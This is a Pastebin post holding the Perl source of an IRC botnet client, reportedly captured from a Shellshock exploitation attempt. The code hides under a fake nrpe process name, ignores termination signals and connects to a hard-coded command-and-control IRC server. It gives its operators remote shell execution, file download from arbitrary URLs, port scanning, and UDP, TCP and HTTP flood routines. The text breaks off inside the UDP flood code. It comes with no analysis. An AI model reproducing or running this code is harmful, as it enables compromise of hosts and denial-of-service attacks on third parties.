Guest User

perl irc bot found during shellshock attempt

a guest
Sep 26th, 2014
2,566
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. ####################################################################################################################
  3. ####################################################################################################################
  4. ##  ps Perl IrcBot v1.02012 bY CrAmEr @ps Security Team   ##    [ Help ]   ####################################
  5. ##      Stealth MultiFunctional IrcBot Writen in Perl          #####################################################
  6. ##        Teste on every system with PERL instlled             ##  !x @system                                     ##
  7. ##                                                             ##  !x @version                                    ##
  8. ##     This is a free program used on your own risk.           ##  !x @channel                                    ##
  9. ##        Created for educational purpose only.                ##  !x @flood                                      ##
  10. ## I'm not responsible for the illegal use of this program.    ##  !x @utils                                      ##
  11. ####################################################################################################################
  12. ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] #########################
  13. ####################################################################################################################
  14. ## !x !join <#channel>          ## !x @udp1 <ip> <port> <time>              ##  !su @conback <ip> <port>          ##
  15. ## !x !part <#channel>          ## !x @udp2 <ip> <packet size> <time>       ##  !x @downlod <url+path> <file>     ##
  16. ## !x !xejoin <#channel>        ## !x @udp3 <ip> <port> <time>              ##  !x @portscan <ip>                 ##
  17. ## !x !op <channel> <nick>      ## !x @tcp <ip> <port> <packet size> <time> ##  !x @mail <subject> <sender>       ##
  18. ## !x !deop <channel> <nick>    ## !x @http <site> <time>                   ##           <recipient> <message>    ##
  19. ## !x !voice <channel> <nick>   ##                                          ##  !x pwd;uname -a;id <for example>  ##
  20. ## !x !devoice <channel> <nick> ## !x @ctcpflood <nick>                     ##  !x @port <ip> <port>              ##
  21. ## !x !nick <newnick>           ## !x @msgflood <nick>                      ##  !x @dns <ip/host>                 ##
  22. ## !x !msg <nick>               ## !x @noticeflood <nick>                   ##                                    ##
  23. ## !x !quit                     ##                                          ##                                    ##
  24. ## !x !xaw                      ##                                          ##                                    ##
  25. ## !x !die                      ##                                          ##                                    ##
  26. ####################################################################################################################
  27. ####################################################################################################################
  28.  
  29. #############################
  30. ##### [ Configuration ] #####
  31. #############################
  32.  
  33. my @rps = ("/usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg -d");
  34. my $process = $rps[rand scalar @rps];
  35. my @rversion = ("\001VERSION - unknown command.\001",
  36.                 "\001mIRC v5.91 K.Mardam-Bey\001",
  37.                 "\001mIRC v6.2 Khaled Mardam-Bey\001",
  38.                 "\001mIRC v6.03 Khaled Mardam-Bey\001",
  39.                 "\001mIRC v6.14 Khaled Mardam-Bey\001",
  40.                 "\001mIRC v6.15 Khaled Mardam-Bey\001",
  41.                 "\001mIRC v6.16 Khaled Mardam-Bey\001",
  42.                 "\001mIRC v6.17 Khaled Mardam-Bey\001",
  43.                 "\001mIRC v6.21 Khaled Mardam-Bey\001",
  44.                 "\001mIRC v6.31 Khaled Mardam-Bey\001",
  45.                 "\001mIRC v7.15 Khaled Mardam-Bey\001");
  46. my $vers = $rversion[rand scalar @rversion];
  47. my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
  48.                 "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
  49.                 "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
  50.                 "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
  51.                 "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
  52.                 "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
  53.                 "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
  54.                 "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
  55.                 "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
  56.                 "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
  57.                 "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
  58.                 "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
  59.                 "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
  60.                 "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
  61.                 "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
  62.                 "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
  63.                 "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
  64.                 "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
  65.                 "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
  66.                 "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
  67.                 "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
  68.                 "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
  69.                 "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
  70.                 "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
  71.                 "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
  72.                 "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
  73.                 "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
  74.                 "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
  75.                 "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
  76.                 "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
  77.                 "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
  78.                 "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
  79.                 "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
  80.                 "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
  81.                 "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
  82.                 "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
  83.                 "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
  84.                 "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
  85.                 "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
  86.                 "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
  87.                 "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
  88.                 "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
  89.                 "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
  90.                 "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
  91.                 "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
  92.                 "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
  93.                 "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
  94.                 "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
  95.                 "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
  96.                 "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
  97.                 "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
  98.                 "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
  99.                 "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
  100.                 "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
  101.                 "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
  102.                 "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
  103.                 "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
  104.                 "zwsiew","zwsiewale");
  105. my $ircname = $rircname[rand scalar @rircname];
  106. ## my @rrealname = ("4,1[ ps Security Team ]",
  107. ##          "4,1 /!\ ps Security Team /!\ ",
  108. ##                  "2,1---=== 4,1 ps Security Team 2,1===---");
  109. ## chop (my $realname = $rrealname[rand scalar @rrealname]);
  110.  
  111. chop (my $realname = `uname -sr`);
  112.  
  113. my $nick =$rircname[rand scalar @rircname];
  114.  
  115. $server = 'fbi.bot.nu' unless $server;
  116. my $port = '5190';
  117.  
  118. my $linas_max='8';
  119. my $sleep='5';
  120.  
  121. my $homedir = "/etc/asterisk";
  122. my $version = 'ps Perl Bot v1.0';
  123.  
  124. my @admins = ("X","root");
  125. my @hostauth = ("1.1.1.1");
  126. my @channels = ("#nrpe");
  127.  
  128. my $pacotes = 1;
  129.  
  130. #################################################################
  131. ##### [ Stop Editing if you dont know what are you doing. ] #####
  132. #################################################################
  133.  
  134. $SIG{'INT'} = 'IGNORE';
  135. $SIG{'HUP'} = 'IGNORE';
  136. $SIG{'TERM'} = 'IGNORE';
  137. $SIG{'CHLD'} = 'IGNORE';
  138. $SIG{'PS'} = 'IGNORE';
  139.  
  140. use Socket;
  141. use IO::Socket;
  142. use IO::Socket::INET;
  143. use IO::Select;
  144.  
  145. chdir("$homedir");
  146.  
  147. $server="$ARGV[0]" if $ARGV[0];
  148. $0="$process"."\0"x16;;
  149. my $pid=fork;
  150. exit if $pid;
  151. die "Can't fork in background: $!" unless defined($pid);
  152.  
  153. our %irc_servers;
  154. our %DCC;
  155. my $dcc_sel = new IO::Select->new();
  156. $sel_cliente = IO::Select->new();
  157. sub sendraw {
  158.   if ($#_ == '1') {
  159.     my $socket = $_[0];
  160.     print $socket "$_[1]\n";
  161.   } else {
  162.     print $IRC_cur_socket "$_[0]\n";
  163.   }
  164. }
  165.  
  166. sub getstore ($$)
  167. {
  168.   my $url = shift;
  169.   my $file = shift;
  170.   $http_stream_out = 1;
  171.   open(GET_OUTFILE, "> $file");
  172.   %http_loop_check = ();
  173.   _get($url);
  174.   close GET_OUTFILE;
  175.   return $main::http_get_result;
  176. }
  177.  
  178. sub _get
  179. {
  180.   my $url = shift;
  181.   my $proxy = "";
  182.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  183.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  184.     my $host = $1;
  185.     my $port = $2 || 80;
  186.     my $path = $3;
  187.     $path = "/" unless defined($path);
  188.     return _trivial_http_get($host, $port, $path);
  189.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  190.     my $host = $1;
  191.     my $port = $2;
  192.     my $path = $url;
  193.     return _trivial_http_get($host, $port, $path);
  194.   } else {
  195.     return undef;
  196.   }
  197. }
  198.  
  199.  
  200. sub _trivial_http_get
  201. {
  202.   my($host, $port, $path) = @_;
  203.   my($AGENT, $VERSION, $p);
  204.   $AGENT = "get-minimal";
  205.   $VERSION = "20000118";
  206.   $path =~ s/ /%20/g;
  207.  
  208.   require IO::Socket;
  209.   local($^W) = 0;
  210.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  211.                                    PeerPort => $port,
  212.                                    Proto   => 'tcp',
  213.                                    Timeout  => 60) || return;
  214.   $sock->autoflush;
  215.   my $netloc = $host;
  216.   $netloc .= ":$port" if $port != 80;
  217.   my $request = "GET $path HTTP/1.0\015\012"
  218.               . "Host: $netloc\015\012"
  219.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  220.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  221.   $request .= "\015\012";
  222.   print $sock $request;
  223.  
  224.   my $buf = "";
  225.   my $n;
  226.   my $b1 = "";
  227.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  228.     if ($b1 eq "") {
  229.       $b1 = $buf;
  230.       $buf =~ s/.+?\015?\012\015?\012//s;
  231.     }
  232.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  233.   }
  234.   return undef unless defined($n);
  235.   $main::http_get_result = 200;
  236.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  237.     $main::http_get_result = $1;
  238.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  239.       my $url = $1;
  240.       return undef if $http_loop_check{$url}++;
  241.       return _get($url);
  242.     }
  243.     return undef unless $main::http_get_result =~ /^2/;
  244.   }
  245.  
  246.   return $buf;
  247. }
  248.  
  249. sub conectar {
  250.   my $meunick = $_[0];
  251.   my $server_con = $_[1];
  252.   my $port_con = $_[2];
  253.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  254.   PeerPort=>$port_con) or return(1);
  255.   if (defined($IRC_socket)) {
  256.     $IRC_cur_socket = $IRC_socket;
  257.     $IRC_socket->autoflush(1);
  258.     $sel_cliente->add($IRC_socket);
  259.     $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  260.     $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  261.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  262.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  263.     nick("$meunick");
  264.     sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  265.     sleep 1;
  266.   }
  267. }
  268.  
  269. my $line_temp;
  270. while( 1 ) {
  271.   while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  272.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  273.   my @ready = $sel_cliente->can_read(0);
  274.   next unless(@ready);
  275.   foreach $fh (@ready) {
  276.     $IRC_cur_socket = $fh;
  277.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  278.     $nread = sysread($fh, $msg, 4096);
  279.     if ($nread == 0) {
  280.       $sel_cliente->remove($fh);
  281.       $fh->close;
  282.       delete($irc_servers{$fh});
  283.     }
  284.     @lines = split (/\n/, $msg);
  285.     for(my $c=0; $c<= $#lines; $c++) {
  286.       $line = $lines[$c];
  287.       $line=$line_temp.$line if ($line_temp);
  288.       $line_temp='';
  289.       $line =~ s/\r$//;
  290.       unless ($c == $#lines) {
  291.         parse("$line");
  292.         } else {
  293.         if ($#lines == 0) {
  294.           parse("$line");
  295.           } elsif ($lines[$c] =~ /\r$/) {
  296.           parse("$line");
  297.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  298.           parse("$line");
  299.         } else {
  300.       $line_temp = $line;
  301.         }
  302.       }
  303.     }
  304.   }
  305. }
  306.  
  307. sub parse {
  308.   my $servarg = shift;
  309.   if ($servarg =~ /^PING \:(.*)/) {
  310.     sendraw("PONG :$1");
  311.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  312.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  313.     if ($args =~ /^\001VERSION\001$/) {
  314.          notice("$pn", "".$vers."");
  315.     }
  316.     if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  317.     if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  318.     if ($onde eq "$meunick"){
  319.     shell("$pn", "$args");
  320.   }
  321.   if ($args =~ /^(\Q$meunick\E|\!x)\s+(.*)/ ) {
  322.     my $natrix = $1;
  323.     my $arg = $2;
  324.     if ($arg =~ /^\!(.*)/) {
  325.       ircase("$pn","$onde","$1");
  326.       } elsif ($arg =~ /^\@(.*)/) {
  327.       $ondep = $onde;
  328.       $ondep = $pn if $onde eq $meunick;
  329.       bfunc("$ondep","$1");
  330.       } else {
  331.       shell("$onde", "$arg");
  332.     }
  333.   }
  334. }
  335. }
  336. }
  337.  
  338. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  339.   if (lc($1) eq lc($meunick)) {
  340.   $meunick=$4;
  341.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  342.   }
  343.   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  344.   nick("$meunick-".int rand(9999));
  345.   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  346.   $meunick = $2;
  347.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  348.   $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  349.   foreach my $canal (@channels) {
  350.     sendraw("MODE $nick +x");
  351.     sendraw("JOIN $canal");
  352. }
  353. }
  354. }
  355.  
  356. sub bfunc {
  357. my $printl = $_[0];
  358. my $funcarg = $_[1];
  359.   if (my $pid = fork) {
  360.   waitpid($pid, 0);
  361.   } else {
  362.   if (fork) {
  363.   exit;
  364.   } else {
  365. ###########################
  366. ##### [ Help Module ] #####
  367. ###########################
  368.  
  369. if ($funcarg =~ /^help/) {
  370.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================");
  371.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1ps PerlBot Main Help:");
  372.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================");
  373.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1system       ");
  374.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1version      ");
  375.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1channel      "); 
  376.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1flood        ");
  377.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1utils        "); 
  378.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================");
  379. }
  380.  
  381. if ($funcarg =~ /^system/) {
  382.     $uptime=`uptime`;
  383.     $ownd=`pwd`;
  384.     $id=`id`;
  385.     $uname=`uname -srp`;
  386.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================");
  387.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1  ps Bot Configuration: ");
  388.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================");
  389.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server      : 12$server   ");   
  390.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port        : 12$port     ");
  391.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels    : 12@channels ");
  392.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a    : 12$uname    ");
  393.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime      : 12$uptime   ");
  394.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process  ");
  395.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID  : 12$$        ");
  396.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID          : 12$id       ");
  397.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir     : 12$ownd     ");
  398.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================");
  399. }
  400.  
  401. if ($funcarg =~ /^version/){
  402.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1==================================");
  403.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1    ps Bot Informations:      ");
  404.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1==================================");
  405.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version        ");
  406.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12CrAmEr          ");
  407.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year    : 122012            ");
  408.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1==================================");
  409. }
  410.  
  411. if ($funcarg =~ /^flood/) {
  412.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=============================================");
  413.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1         ps PerlBot Flood Help:              ");
  414.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=============================================");
  415.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp1 <ip> <port> <time>           ");
  416.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp2 <ip> <packet size> <time>    ");
  417.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp3 <ip> <port> <time>           ");
  418.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1tcp <ip> <port> <pack size> <time>");
  419.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1http <site> <time>                ");
  420.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1ctcpflood <nick>                  ");
  421.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1msgflood <nick>                   ");
  422.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1noticeflood <nick>                ");
  423.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=============================================");
  424. }
  425.  
  426. if ($funcarg =~ /^channel/) {
  427.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1====================================");
  428.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1        ps PerlBot Channel Help:    ");
  429.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1====================================");
  430.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1join <channel>           ");
  431.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1part <channel>           ");
  432.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1rejoin <channel>         ");
  433.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1op <channel> <nick>      ");
  434.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1deop <channel> <nick>    "); 
  435.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1voice <channel> <nick>   ");
  436.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1devoice <channel> <nick> ");
  437.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1nick <newnick>           ");
  438.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1msg <nick>               ");
  439.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1quit                     "); 
  440.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1die                      ");
  441.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1====================================");
  442. }
  443.  
  444. if ($funcarg =~ /^utils/) {
  445.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================================================");
  446.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1             ps PerlBot Utils Help:                  ");
  447.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================================================");
  448.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1cback <ip> <port>                             ");
  449.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1download <url+path> <file>                    ");
  450.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1mail <subject> <sender> <recipient> <message> ");
  451.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1dns <ip>                                      ");
  452.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1port <ip> <port>                              ");
  453.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1portscan <ip>                                 ");
  454.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x pwd (for example)                                      ");
  455.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1=========================================================");
  456. }
  457.  
  458. #########################
  459. ##### [ Functions ] #####
  460. #########################
  461.  
  462. if ($funcarg =~ /^die/) {
  463.     sendraw($IRC_cur_socket, "QUIT :");
  464.     $killd = "kill -9 ".fork;
  465.     system (`$killd`);
  466. }
  467. ###########
  468. if ($funcarg =~ /^join (.*)/) {
  469.     sendraw($IRC_cur_socket, "JOIN ".$1);
  470. }
  471.  
  472. if ($funcarg =~ /^part (.*)/) {
  473.     sendraw($IRC_cur_socket, "PART ".$1);
  474. }
  475. ###########
  476. if ($funcarg =~ /^portscan (.*)/) {
  477.   my $hostip="$1";
  478.   my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  479.   my (@aberta, %porta_banner);
  480.   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  481.   foreach my $porta (@portas)  {
  482.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  483.     if ($scansock) {
  484.       push (@aberta, $porta);
  485.       $scansock->close;
  486.     }
  487.   }
  488.   if (@aberta) {
  489.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1Open ports found: 12@aberta ");
  490.     } else {
  491.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1No open ports found. ");
  492.   }
  493. }
  494. ##############
  495. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  496.     getstore("$1", "$2");
  497.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  498. }
  499. ##############
  500. if ($funcarg =~ /^dns\s+(.*)/){
  501.     my $nsku = $1;
  502.     $mydns = inet_ntoa(inet_aton($nsku));
  503.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  504. }
  505. ##############
  506. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  507.     my $hostip= "$1";
  508.     my $portsc= "$2";
  509.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  510.     if ($scansock) {
  511.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  512.     }
  513.     else {
  514.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  515.     }
  516. }
  517. ##############
  518. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  519.     return unless $pacotes;
  520.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  521.     my $alvo=inet_aton("$1");
  522.     my $porta = "$2";
  523.     my $dtime = "$3";
  524.     my $pacote;
  525.     my $pacotese;
  526.     my $size = 0;
  527.     my $fim = time + $dtime;
  528.     my $pacota = 1;
  529.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  530.     while (($pacota == "1") && ($pacotes == "1")) {
  531.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  532.             $pacote = $size ? $size : int(rand(1024-64)+64) ;
